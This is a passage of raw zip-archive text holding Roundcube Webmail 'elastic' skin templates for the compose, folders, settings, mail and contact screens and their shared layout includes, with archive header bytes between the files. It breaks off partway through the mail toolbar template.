			<label for="composebody" class="voice"><roundcube:label name="arialabelmessagebody" /></label>
			<roundcube:object name="composeBody" id="composebody" form="form" cols="70" rows="20" class="form-control" tabindex="1" />
			<roundcube:if condition="!in_array('htmleditor', (array)config:dont_override)" />
			<roundcube:object name="editorSelector" id="editor-selector" editorid="composebody" noform="true" class="hidden" />
			<roundcube:endif />
		</div>
		</form>
		<div class="formbuttons">
			<roundcube:button command="send" class="btn btn-primary send" label="send" tabindex="1" data-content-button="true" />
			<div class="float-right">
				<roundcube:button command="extwin" type="link" label="openinextwin" data-hidden="small" class="button icon btn btn-link extwin" data-tabindex="1" condition="!env:extwin" />
			</div>
		</div>
	</div>
</div>

<roundcube:object name="composeAttachmentForm" id="uploadform" mode="smart" />

<div id="spell-menu" class="popupmenu" data-popup-init="spellmenu"></div>

<div id="headers-menu" class="popupmenu" data-popup-init="headersmenu">
	<h3 id="aria-label-headersmenu" class="voice"><roundcube:label name="arialabelheadersmenu" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-headersmenu">
		<li role="menuitem"><a data-target="cc" href="#" role="button" tabindex="-1" class="recipient active"><roundcube:label name="cc" /></a></li>
		<li role="menuitem"><a data-target="bcc" href="#" role="button" tabindex="-1" class="recipient active"><roundcube:label name="bcc" /></a></li>
		<li role="menuitem"><a data-target="replyto" href="#" role="button" tabindex="-1" class="recipient active"><roundcube:label name="replyto" /></a></li>
		<li role="menuitem"><a data-target="followupto" href="#" role="button" tabindex="-1" class="recipient active"><roundcube:label name="followupto" /></a></li>
	</ul>
</div>

<div id="responses-menu" class="popupmenu">
	<h3 id="aria-label-responsesmenu" class="voice"><roundcube:label name="arialabelresponsesmenu" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-responsesmenu">
		<li role="separator" class="separator"><label><roundcube:label name="insertresponse" /></label></li>
		<roundcube:object name="responseslist" id="responseslist" tagname="ul" class="rounded-0" itemclass="active" list-placeholder="noresponsesavailable" />
		<li role="separator" class="separator"><label><roundcube:label name="manageresponses" /></label></li>
		<roundcube:button name="responses" type="link-menuitem" label="editresponses" class="edit responses active" onclick="return rcmail.command('switch-task', 'settings/responses')" />
	</ul>
</div>

<div id="attachmentmenu" class="popupmenu">
	<h3 id="aria-label-attachmentmenu" class="voice"><roundcube:label name="arialabelattachmentmenu" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-attachmentmenu">
		<roundcube:button command="open-attachment" id="attachmenuopen" type="link-menuitem" label="open" class="extwin disabled" classAct="extwin active" />
		<roundcube:button command="download-attachment" id="attachmenudownload" type="link-menuitem" label="download" class="download disabled" classAct="download active" />
		<roundcube:button command="rename-attachment" id="attachmenurename" type="link-menuitem" label="rename" class="rename disabled" classAct="rename active" />
		<roundcube:container name="attachmentmenu" id="attachmentoptionsmenu" />
	</ul>
</div>

<div id="encryption-menu" class="popupmenu">
	<ul class="menu listing" role="menu">
		<roundcube:button command="compose-encrypted" type="link-menuitem" label="encryptmessage" class="encrypt disabled" classAct="encrypt active" />
		<roundcube:button command="compose-encrypted-signed" type="link-menuitem" label="encryptandsign" class="encrypt sign disabled" classAct="encrypt sign active" />
	</ul>
</div>

<div id="recipient-dialog" class="popupmenu" role="region" aria-labelledby="aria-label-composecontacts">
	<div class="listbox">
		<roundcube:object name="searchform" id="searchform" wrapper="searchbar menu"
			label="contactsearchform" buttontitle="findcontacts" ariatag="h2" class="no-bs" />
		<div class="scroller" tabindex="-1">
			<roundcube:object name="addressbooks" id="directorylist" class="treelist listing iconized"
				summary="ariasummarycomposecontacts" />
			<roundcube:object name="addresslist" id="contacts-table" class="listing iconized contactlist"
				noheader="true" role="listbox" data-list="contact_list" data-list-select-replace="#recipient-dialog .pagenav-text" />
		</div>
		<roundcube:include file="includes/pagenav.html" />
	</div>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\S���$skins/elastic/templates/folders.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" />
<roundcube:include file="includes/settings-menu.html" />

<h1 class="voice"><roundcube:label name="folders" /></h1>

<!-- folders list -->
<div id="layout-list" class="listbox selected" aria-labelledby="aria-label-folderslist">
	<div class="header">
		<a class="button icon back-sidebar-button" href="#sidebar"><span class="inner"><roundcube:label name="settings" /></span></a>
		<span id="aria-label-folderslist" class="header-title"><roundcube:label name="folders" /></span>
		<a class="button icon toolbar-menu-button" href="#list-menu"><span class="inner"><roundcube:label name="menu" /></span></a>
	</div>
	<roundcube:object name="searchform" id="foldersearch" wrapper="searchbar menu" ariatag="h2"
		label="foldersearchform" buttontitle="findfolders" options="foldersearchmenu" />
	<div id="foldersearchmenu" class="hidden searchoptions scroller propform formcontainer" aria-labelledby="aria-label-search-menu" aria-controls="subscription-table">
		<h3 id="aria-label-search-menu" class="voice"><roundcube:label name="searchmod" /></h3>
		<div class="formcontent">
			<roundcube:object name="folderfilter" id="folderlist-filter" noheader="true" noevent="true" />
		</div>
		<div class="formbuttons">
			<button type="button" class="btn btn-primary icon search" onclick="rcmail.folder_filter($('#folderlist-filter').val())"><roundcube:label name="search" /></button>
		</div>
	</div>
	<div class="scroller" tabindex="-1">
		<roundcube:object name="foldersubscription" id="subscription-table"
			class="treelist listing folderlist iconized" role="listbox" data-list="subscription_list"
			data-label-msg="listempty" data-label-ext="listusebutton" data-create-command="folder-create" />
	</div>
	<div class="footer small">
		<roundcube:if condition="env:quota" />
			<div id="quotadisplay" class="quota-widget">
				<span class="voice"><roundcube:label name="quota"></span>
				<roundcube:object name="quotaDisplay" class="count" display="text" />
			</div>
		<roundcube:endif />
	</div>
</div>

<!-- folder info frame -->
<div id="layout-content" role="main">
	<h2 id="aria-label-toolbar" class="voice"><roundcube:label name="arialabeltoolbar" /></h2>
	<div class="header" role="toolbar" aria-labelledby="aria-label-toolbar">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title"></span>
		<!-- toolbar -->
		<div id="folderstoolbar" class="toolbar menu">
			<roundcube:button command="create-folder" type="link" class="create disabled" classAct="create"
				label="create" title="createfolder" innerClass="inner" data-fab="true" />
			<roundcube:button command="delete-folder" type="link" class="delete disabled" classAct="delete"
				label="delete" title="delete" innerclass="inner" />
			<roundcube:button command="purge" type="link" class="purge disabled" classAct="purge"
				label="empty" title="empty" innerclass="inner" />
		</div>
	</div>
	<div class="iframe-wrapper">
		<roundcube:object name="contentframe" id="preferences-frame" src="env:blankpage" />
	</div>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\�K�M		)skins/elastic/templates/contactprint.htmlnu�[���<roundcube:include file="includes/layout.html" />

<roundcube:object name="logo" id="logo" alt="Logo" logo-type="print" logo-match="template" class="float-sm-right" />

<div class="print-content formcontent" role="main">
	<div class="contact-header">
		<div id="contactphoto" class="contact-photo">
			<roundcube:object name="contactphoto" id="contactpic" placeholder="/images/contactpic.svg"
				placeholderGroup="/images/contactgroup.svg" />
		</div>
		<roundcube:object name="contacthead" id="contacthead" class="contact-head readonly" with-source="true" />
	</div>
	<div id="contacttabs">
		<roundcube:object name="contactdetails" fieldset-class="propform grouped readonly"
			short-legend-labels="true" />
	</div>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\B���)skins/elastic/templates/settingsedit.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:object name="sectionname" /></h1>

<div class="formcontent">
	<roundcube:object name="userprefs" form="form" class="propform cols-sm-6-6" />
</div>

<div class="formbuttons">
	<roundcube:button command="save" class="btn btn-primary submit" label="save" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\x�����%skins/elastic/templates/settings.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" />
<roundcube:include file="includes/settings-menu.html" />

<h1 class="voice"><roundcube:label name="preferences" /></h1>

<div id="layout-list" class="listbox<roundcube:exp expression="!request:_action ? '' : ' selected'"/>" aria-labelledby="aria-label-prefsection">
	<div class="header">
		<a class="button icon back-sidebar-button" href="#sidebar"><span class="inner"><roundcube:label name="settings" /></span></a>
		<span id="aria-label-prefsection" class="header-title"><roundcube:label name="preferences" /></span>
	</div>
	<div class="scroller">
		<roundcube:object name="sectionslist" id="sections-table" class="listing iconized settings-default-icon"
			noheader="true" role="listbox" data-list="sections_list" />
	</div>
</div>

<div id="layout-content" role="main">
	<div class="header">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title"></span>
	</div>
	<div class="iframe-wrapper">
		<roundcube:object name="contentframe" id="preferences-frame" src="env:blankpage" title="arialabelpreferencesform" />
	</div>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\[z���)skins/elastic/templates/identityedit.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:object name="steptitle" /></h1>

<div class="formcontent">
	<roundcube:object name="identityform" class="propform" size="40" textareacols="40" textarearows="6" />
</div>

<div class="formbuttons">
	<roundcube:button command="save" class="btn btn-primary submit" label="save" condition="!env:readonly" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\}�Pmm'skins/elastic/templates/identities.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" />
<roundcube:include file="includes/settings-menu.html" />

<h1 class="voice"><roundcube:label name="settings" /> : <roundcube:label name="identities" /></h1>

<!-- responses list -->
<div id="layout-list" class="listbox selected" aria-labelledby="aria-label-identitieslist">
	<div class="header">
		<a class="button icon back-sidebar-button" href="#sidebar"><span class="inner"><roundcube:label name="settings" /></span></a>
		<span id="aria-label-identitieslist" class="header-title"><roundcube:label name="identities" /></span>
		<a class="button icon toolbar-menu-button" href="#list-menu"><span class="inner"><roundcube:label name="menu" /></span></a>
	</div>
	<div class="scroller">
		<roundcube:object name="identitieslist" id="identities-table" class="listing"
			noheader="true" role="listbox" data-list="identity_list"
			data-label-msg="listempty" data-label-ext="listusebutton" data-create-command="add" />
	</div>
	<div class="footer"></div>
</div>

<!-- response details frame -->
<div id="layout-content" role="main">
	<h2 id="aria-label-toolbar" class="voice"><roundcube:label name="arialabeltoolbar" /></h2>
	<div class="header" role="toolbar" aria-labelledby="aria-label-toolbar">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title"></span>
		<!-- toolbar -->
		<div id="identitiestoolbar" class="toolbar menu">
			<roundcube:button command="add" type="link" class="create disabled" classAct="create"
				label="create" title="newidentity" innerClass="inner" 
				condition="config:identities_level:0<2" data-fab="true" />
			<roundcube:button command="delete" type="link" class="delete disabled" classAct="delete"
				label="delete" title="delete" innerClass="inner"
				condition="config:identities_level:0<2" />
		</div>
	</div>
	<div class="iframe-wrapper">
		<roundcube:object name="contentframe" id="preferences-frame" src="env:blankpage" title="arialabelidentityeditfrom" />
	</div>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\Ӹd�==#skins/elastic/templates/plugin.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" />
<roundcube:include file="includes/settings-menu.html" condition="env:task == 'settings'" />

<div id="layout-content" class="selected" role="main">
	<div class="header">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title"></span>
	</div>
	<roundcube:object name="plugin.body" />
</div>

<roundcube:object name="plugin.footer" />

<roundcube:include file="includes/footer.html" />
PKh�\�)�o?3?3!skins/elastic/templates/mail.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" />

<h1 class="voice"><roundcube:label name="mail" /></h1>

<!-- folders list -->
<div id="layout-sidebar" class="listbox" role="navigation" aria-labelledby="aria-label-folderlist">
	<div class="header">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title username"><roundcube:object name="username" /></span>
		<roundcube:button name="folderactions" type="link" title="folderactions" label="actions"
			class="button icon sidebar-menu" innerclass="inner" data-popup="mailboxoptions-menu" />
	</div>
	<h2 id="aria-label-folderlist" class="voice"><roundcube:label name="arialabelfolderlist" /></h2>
	<div id="folderlist-content" class="scroller">
		<roundcube:object name="mailboxlist" id="mailboxlist" class="treelist listing folderlist" folder_filter="mail" unreadwrap="%s" />
	</div>
	<div class="footer small">
		<roundcube:if condition="env:quota" />
			<div id="quotadisplay" class="quota-widget">
				<span class="voice"><roundcube:label name="quota"></span>
				<roundcube:object name="quotaDisplay" class="count" display="text" />
			</div>
		<roundcube:endif />
	</div>
</div>

<!-- messages list -->
<div id="layout-list" class="listbox selected">
	<div id="messagelist-header" class="header">
		<a class="button icon task-menu-button" href="#menu"><span class="inner"><roundcube:label name="menu" /></span></a>
		<a class="button icon back-sidebar-button folders" href="#sidebar"><span class="inner"><roundcube:label name="mailboxlist" /></span></a>
		<span class="header-title"></span>
		<div class="toolbar menu" role="toolbar">
			<a href="#select" class="select disabled" data-popup="listselect-menu" data-toggle-button="list-toggle-button" title="<roundcube:label name="select" />"><span class="inner"><roundcube:label name="select" /></span></a>
			<roundcube:if condition="env:threads" />
				<a href="#threads" class="threads disabled" data-popup="threadselect-menu" title="<roundcube:label name="threads" />"><span class="inner"><roundcube:label name="threads" /></span></a>
			<roundcube:endif />
			<roundcube:object name="listmenulink" class="options active" label="options" innerclass="inner" />
			<roundcube:container name="listcontrols" id="listcontrols" />
		</div>
		<roundcube:button command="checkmail" type="link" class="button icon toolbar-button refresh"
			label="refresh" title="checkmail" innerclass="inner" />
		<a class="button icon toolbar-menu-button" href="#list-menu"><span class="inner"><roundcube:label name="menu" /></span></a>
	</div>
	<roundcube:add_label name="showunread" />
	<roundcube:object name="searchform" id="mailsearchform" wrapper="searchbar menu"
		label="mailquicksearchbox" buttontitle="findmail" options="searchmenu" ariatag="h2" />
	<div id="searchmenu" class="hidden searchoptions scroller propform formcontainer" aria-labelledby="aria-label-search-menu" aria-controls="messagelist">
		<h3 id="aria-label-search-menu" class="voice"><roundcube:label name="searchmod" /></h3>
		<div class="formcontent">
			<ul class="proplist">
				<li><label><input type="checkbox" name="s_mods[]" value="subject" /><roundcube:label name="subject" /></label></li>
				<li class="with-sublist">
					<label><input type="checkbox" name="s_mods[]" value="sender" /><roundcube:label name="sender" /></label>
					<a class="button icon dropdown" role="button" href="#" title="<roundcube:label name="details" />"></a>
					<ul class="proplist d-none">
						<li><label><input type="checkbox" name="s_mods[]" value="from" /><roundcube:label name="from" /></label></li>
						<li><label><input type="checkbox" name="s_mods[]" value="replyto" /><roundcube:label name="replyto" /></label></li>
						<li><label><input type="checkbox" name="s_mods[]" value="followupto" /><roundcube:label name="followupto" /></label></li>
					</ul>
				</li>
				<li class="with-sublist">
					<label><input type="checkbox" name="s_mods[]" value="recipient" /><roundcube:label name="recipient" /></label>
					<a class="button icon dropdown" role="button" href="#" title="<roundcube:label name="details" />"></a>
					<ul class="proplist d-none">
						<li><label><input type="checkbox" name="s_mods[]" value="to" /><roundcube:label name="to" /></label></li>
						<li><label><input type="checkbox" name="s_mods[]" value="cc" /><roundcube:label name="cc" /></label></li>
						<li><label><input type="checkbox" name="s_mods[]" value="bcc" /><roundcube:label name="bcc" /></label></li>
					</ul>
				</li>
				<li><label><input type="checkbox" name="s_mods[]" value="body" /><roundcube:label name="body" /></label></li>
				<li><label><input type="checkbox" name="s_mods[]" value="text" /><roundcube:label name="msgtext" /></label></li>
			</ul>
			<div class="input-group">
				<div class="input-group-prepend">
					<label for="searchfilter" class="input-group-text"><roundcube:label name="type" /></label>
				</div>
				<roundcube:object name="searchfilter" id="searchfilter" noevent="true" class="custom-select" />
			</div>
			<div class="input-group">
				<div class="input-group-prepend">
					<label for="s_interval" class="input-group-text"><roundcube:label name="date" /></label>
				</div>
				<roundcube:object name="searchinterval" id="s_interval" class="custom-select" />
			</div>
			<div class="input-group">
				<div class="input-group-prepend">
					<label for="s_scope" class="input-group-text"><roundcube:label name="searchscope" /></label>
				</div>
				<select name="s_scope" id="s_scope" class="custom-select">
					<option value="base"><roundcube:label name="currentfolder" /></option>
					<option value="sub"><roundcube:label name="subfolders" /></option>
					<option value="all"><roundcube:label name="allfolders" /></option>
				</select>
			</div>
		</div>
		<div class="formbuttons">
			<button type="button" class="btn btn-primary icon search" onclick="return rcmail.command('search')"><roundcube:label name="search" /></button>
		</div>
	</div>
	<div id="messagelist-content" class="scroller" tabindex="-1">
		<h2 id="aria-label-messagelist" class="voice"><roundcube:label name="arialabelmessagelist" /></h2>
		<roundcube:object name="messages" id="messagelist" class="listing messagelist sortheader fixedheader"
			aria-labelledby="aria-label-messagelist" data-list="message_list" data-label-msg="listempty"
		/>
	</div>
	<roundcube:include file="includes/pagenav.html" />
</div>

<!-- message preview -->
<div id="layout-content">
	<h2 id="aria-label-toolbar" class="voice"><roundcube:label name="arialabeltoolbar" /></h2>
	<div class="header" role="toolbar" aria-labelledby="aria-label-toolbar">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title"></span>
		<roundcube:include file="includes/mail-menu.html" />
	</div>
	<h2 id="aria-label-mailpreviewframe" class="voice"><roundcube:label name="arialabelmailpreviewframe" /></h2>
	<div class="iframe-wrapper">
		<roundcube:object name="contentframe"
			id="messagecontframe"
			aria-labelledby="aria-label-mailpreviewframe"
			src="env:blankpage"
			title="arialabelmailpreviewframe"
		/>
	</div>
</div>

<!-- popup menus -->

<div id="dragmessage-menu" class="popupmenu">
	<h3 id="aria-label-dragmessage-menu" class="voice"><roundcube:label name="arialabeldropactionmenu" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-dragmessage-menu">
		<roundcube:button command="move" type="link-menuitem" onclick="return rcmail.drag_menu_action('move')" label="move" class="disabled" classAct="active" />
		<roundcube:button command="copy" type="link-menuitem" onclick="return rcmail.drag_menu_action('copy')" label="copy" class="disabled" classAct="active" />
	</ul>
</div>

<div id="mailboxoptions-menu" class="popupmenu">
	<h3 id="aria-label-mailboxoptions-menu" class="voice"><roundcube:label name="arialabelmailboxmenu" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-mailboxoptions-menu">
		<roundcube:button command="expunge" type="link-menuitem" label="compact" class="expunge disabled" classAct="expunge active" />
		<roundcube:button command="purge" type="link-menuitem" label="empty" class="purge disabled" classAct="purge active" />
		<roundcube:button command="mark-all-read" type="link-menuitem" label="markallread" class="read disabled" classAct="read active" />
		<roundcube:button command="folders" task="settings" type="link-menuitem" label="managefolders" class="folders disabled" classAct="folders active" />
		<roundcube:container name="mailboxoptions" id="mailboxoptionsmenu" />
	</ul>
</div>

<div id="listselect-menu" class="popupmenu">
	<h3 id="aria-label-listselect-menu" class="voice"><roundcube:label name="arialabellistselectmenu" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-listselect-menu">
		<roundcube:button type="link-menuitem" label="selection" class="selection disabled" classAct="selection active"
			name="list-toggle-button" id="list-toggle-button" onclick="UI.toggle_list_selection(this, 'messagelist')" />
		<roundcube:button command="select-all" type="link-menuitem" label="all" class="select all disabled" classAct="select all active" />
		<roundcube:button command="select-all" type="link-menuitem" prop="page" label="currpage" class="select page disabled" classAct="select page active" />
		<roundcube:button command="select-all" type="link-menuitem" prop="unread" label="unread" class="select unread disabled" classAct="select unread active" />
		<roundcube:button command="select-all" type="link-menuitem" prop="flagged" label="flagged" class="select flagged disabled" classAct="select flagged active" />
		<roundcube:button command="select-all" type="link-menuitem" prop="invert" label="invert" class="select invert disabled" classAct="select invert active" />
		<roundcube:button command="select-none" type="link-menuitem" label="none" class="select none disabled" classAct="select none active" />
	</ul>
</div>

<div id="threadselect-menu" class="popupmenu">
	<h3 id="aria-label-threadselectmenu" class="voice"><roundcube:label name="arialabelthreadselectmenu" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-threadselectmenu">
		<roundcube:button command="expand-unread" type="link-menuitem" label="expand-unread" class="expand unread disabled" classAct="expand unread active" />
		<roundcube:button command="expand-all" type="link-menuitem" label="expand-all" class="expand all disabled" classAct="expand all active" />
		<roundcube:button command="collapse-all" type="link-menuitem" label="collapse-all" class="expand none disabled" classAct="expand none active" />
	</ul>
</div>

<div id="listoptions-menu" class="popupmenu propform" role="dialog" aria-labelledby="aria-label-listoptions">
	<h3 id="aria-label-listoptions" class="voice"><roundcube:label name="arialabelmessagelistoptions" /></h3>
	<roundcube:if condition="!in_array('message_sort_col', (array)config:dont_override)" />
	<div class="form-group row">
		<label for="listoptions-sortcol" class="col-form-label col-sm-4"><roundcube:label name="listsorting" /></label>
		<div class="col-sm-8">
			<select id="listoptions-sortcol" name="sort_col">
				<option value=""><roundcube:label name="nonesort" /></option>
				<option value="arrival"><roundcube:label name="arrival" /></option>
				<option value="date"><roundcube:label name="sentdate" /></option>
				<option value="subject"><roundcube:label name="subject" /></option>
				<option value="fromto"><roundcube:label name="fromto" /></option>
				<option value="from"><roundcube:label name="from" /></option>
				<option value="to"><roundcube:label name="to" /></option>
				<option value="cc"><roundcube:label name="cc" /></option>
				<option value="size"><roundcube:label name="size" /></option>
			</select>
		</div>
	</div>
	<roundcube:endif />
	<roundcube:if condition="!in_array('message_sort_order', (array)config:dont_override)" />
	<div class="form-group row">
		<label for="listoptions-sortord" class="col-form-label col-sm-4"><roundcube:label name="listorder" /></label>
		<div class="col-sm-8">
			<select id="listoptions-sortord" name="sort_ord">
				<option value="ASC"><roundcube:label name="asc" /></option>
				<option value="DESC"><roundcube:label name="desc" /></option>
			</select>
		</div>
	</div>
	<roundcube:endif />
	<roundcube:if condition="env:threads" />
	<div class="form-group row">
		<label for="listoptions-threads" class="col-form-label col-sm-4"><roundcube:label name="lmode" /></label>
		<div class="col-sm-8">
			<select id="listoptions-threads" name="mode">
				<option value="list"><roundcube:label name="list" /></option>
				<option value="threads"><roundcube:label name="threads" /></option>
			</select>
		</div>
	</div>
	<roundcube:endif />
	<roundcube:container name="listoptions" id="listoptionsmenu" />
	<roundcube:add_label name="listoptionstitle" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\[�^^"skins/elastic/templates/about.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:label name="about" /></h1>

<div class="frame-content">
	<roundcube:object name="aboutcontent" />
	<h2 class="sysname">Roundcube Webmail <roundcube:object name="version" /></h2>
	<p class="copyright"><roundcube:object name="copyright" /></p>
	<p class="license"><roundcube:object name="license" /></p>
	<div class="readtext">
		<h3><roundcube:label name="installedplugins" /></h3>
		<roundcube:object name="pluginlist" id="pluginlist" class="records-table" />
	</div>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\�k��zz'skins/elastic/templates/folderedit.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:label name="folderproperties" /></h1>

<div class="formcontent">
	<roundcube:object name="folderdetails" class="propform" />
</div>

<div class="formbuttons">
	<roundcube:button command="save" class="btn btn-primary submit" label="save" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\���oo$skins/elastic/templates/contact.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:label name="contactproperties" /></h1>

<div class="formcontent">
	<div class="contact-header">
		<div id="contactphoto" class="contact-photo">
			<roundcube:object name="contactphoto" id="contactpic" placeholder="/images/contactpic.svg"
				placeholderGroup="/images/contactgroup.svg" bg-color="transparent" />
		</div>
		<roundcube:object name="contacthead" id="contacthead" class="contact-head readonly" with-source="true" />
	</div>
	<div id="contacttabs" class="tabbed">
		<roundcube:object name="contactdetails" fieldset-class="propform grouped readonly"
			short-legend-labels="true" />
	</div>
</div>

<div class="formbuttons">
	<roundcube:button command="edit" class="btn btn-primary edit" label="edit" condition="!ENV:readonly" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\�:�Y��&skins/elastic/templates/responses.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" />
<roundcube:include file="includes/settings-menu.html" />

<h1 class="voice"><roundcube:label name="responses" /></h1>

<!-- responses list -->
<div id="layout-list" class="listbox selected" aria-labelledby="aria-label-responseslist">
	<div class="header">
		<a class="button icon back-sidebar-button" href="#sidebar"><span class="inner"><roundcube:label name="settings" /></span></a>
		<span id="aria-label-responseslist" class="header-title"><roundcube:label name="responses" /></span>
		<a class="button icon toolbar-menu-button" href="#list-menu"><span class="inner"><roundcube:label name="menu" /></span></a>
	</div>
	<div class="scroller">
		<roundcube:object name="responseslist" id="responses-table" class="listing"
			noheader="true" role="listbox" data-list="responses_list"
			data-label-msg="listempty" data-label-ext="listusebutton" data-create-command="add" />
	</div>
	<div class="footer"></div>
</div>

<!-- response details frame -->
<div id="layout-content" role="main">
	<h2 id="aria-label-toolbar" class="voice"><roundcube:label name="arialabeltoolbar" /></h2>
	<div class="header" role="toolbar" aria-labelledby="aria-label-toolbar">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title"></span>
		<!-- toolbar -->
		<div id="responsestoolbar" class="toolbar menu">
			<roundcube:button command="add" type="link" class="create disabled" classAct="create"
				label="create" title="newresponse" innerClass="inner" data-fab="true" />
			<roundcube:button command="delete" type="link" class="delete disabled" classAct="delete"
				label="delete" title="delete" innerClass="inner" />
		</div>
	</div>
	<div class="iframe-wrapper">
		<roundcube:object name="contentframe" id="preferences-frame" src="env:blankpage" title="arialabelresponseeditfrom" />
	</div>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\耧���,skins/elastic/templates/includes/layout.htmlnu�[���<roundcube:add_label name="back" />
<roundcube:add_label name="errortitle" />
<roundcube:add_label name="options" />
<roundcube:add_label name="plaintoggle" />
<roundcube:add_label name="htmltoggle" />
<roundcube:add_label name="previous" />
<roundcube:add_label name="next" />
<roundcube:add_label name="select" />
<roundcube:add_label name="close" />
<roundcube:add_label name="browse" />
<roundcube:add_label name="choosefile" />
<roundcube:add_label name="choosefiles" />
<roundcube:object name="doctype" value="html5" />
<roundcube:if condition="!env:framed || env:extwin" />
<html>
<roundcube:else />
<html class="iframe">
<roundcube:endif />
<head>
	<roundcube:object name="meta" />
	<roundcube:object name="links" />
	<link rel="stylesheet" href="/deps/bootstrap.min.css">
	<roundcube:if condition="config:devel_mode" />
		<link rel="stylesheet/less" href="/styles/styles.less">
		<roundcube:link rel="stylesheet/less" href="/styles/print.less" condition="env:action == 'print'" />
		<script src="/deps/less.min.js" data-env="development"></script>
	<roundcube:else />
		<link rel="stylesheet" href="/styles/styles.css">
		<roundcube:link rel="stylesheet" href="/styles/print.css" condition="env:action == 'print'" />
	<roundcube:endif />
	<roundcube:if condition="env:action != 'print' && !config:devel_mode && config:dark_mode_support" />
		<script>
		try {
			if (document.cookie.indexOf('colorMode=dark') > -1
				|| (document.cookie.indexOf('colorMode=light') === -1 && window.matchMedia('(prefers-color-scheme: dark)').matches)
			) {
				document.documentElement.className += ' dark-mode';
			}
		} catch (e) { }
		</script>
	<roundcube:endif />
</head>
<body class="task-<roundcube:exp expression="env:error_task ?: env:task ?: 'error'"> action-<roundcube:exp expression="asciiwords(env:action, true, '-') ?: 'none'">">
	<roundcube:if condition="!env:framed || env:extwin" />
		<div id="<roundcube:exp expression="env:action == 'print' ? 'print-' : ''">layout">
	<roundcube:endif />
PKh�\��^��3skins/elastic/templates/includes/settings-menu.htmlnu�[���<div id="layout-sidebar" class="listbox<roundcube:exp expression="!request:_action ? ' selected' : ''"/>" role="navigation" aria-labelledby="aria-label-settingstabs">
	<div class="header">
		<a class="button icon task-menu-button" href="#menu"><span class="inner"><roundcube:label name="menu" /></span></a>
		<span id="aria-label-settingstabs" class="header-title"><roundcube:label name="settings" /></span>
	</div>
	<div class="scroller">
		<ul id="settings-menu" class="listing iconized settings-default-icon<roundcube:exp expression="!request:_action ? ' selection-large-only' : ''"/>">
			<roundcube:object name="settingstabs" class="listitem" tagname="li" />
			<roundcube:container name="tabs" id="settings-menu" />
		</ul>
	</div>
</div>
PKh�\�P�DD-skins/elastic/templates/includes/pagenav.htmlnu�[���<div class="pagenav menu footer small" role="toolbar" aria-label="<roundcube:label name="arialabellistnav" />">
	<roundcube:button command="firstpage" type="link" class="firstpage disabled" classAct="firstpage"
		title="firstpage" label="first" innerclass="inner" />
	<roundcube:button command="previouspage" type="link" class="prevpage disabled" classAct="prevpage"
		title="previouspage" label="previous" innerclass="inner" />
	<roundcube:if condition="template:name == 'mail'" />
		<roundcube:object name="messageCountDisplay" class="pagenav-text" aria-live="polite" aria-relevant="text" />
		<input class="form-control" type="text" size="3" disabled title="<roundcube:label name="currpage" />" />
	<roundcube:elseif condition="template:name == 'addressbook'" />
		<span class="pagenav-text" aria-live="polite" aria-relevant="text">
			<roundcube:object name="recordsCountDisplay" label="fromtoshort" />
		</span>
	<roundcube:else />
		<span class="pagenav-text" aria-live="polite" aria-relevant="text">&nbsp;</span>
	<roundcube:endif />
	<roundcube:button command="nextpage" type="link" class="nextpage disabled" classAct="nextpage"
		title="nextpage" label="next" innerclass="inner" />
	<roundcube:button command="lastpage" type="link" class="lastpage disabled" classAct="lastpage"
		title="lastpage" label="last" innerclass="inner" />
</div>
PKh�\�����,skins/elastic/templates/includes/footer.htmlnu�[���<roundcube:if condition="!env:framed || env:extwin" />
</div>
<roundcube:if condition="config:support_url" />
<a href="<roundcube:var name='config:support_url' />" target="_blank" id="supportlink" class="hidden"><roundcube:label name="support" /></a>
<roundcube:endif />
<roundcube:endif />

<roundcube:object name="message" id="messagestack" />

<script src="/deps/bootstrap.bundle.min.js"></script>
<script src="/ui.js"></script>

</body>
</html>
PKh�\�����/skins/elastic/templates/includes/mail-menu.htmlnu�[���<roundcube:add_label name="viewsource" />
<div id="mailtoolbar" class="toolbar menu" role="toolbar">
	<roundcube:button command="compose" type="link" class="compose hidden"
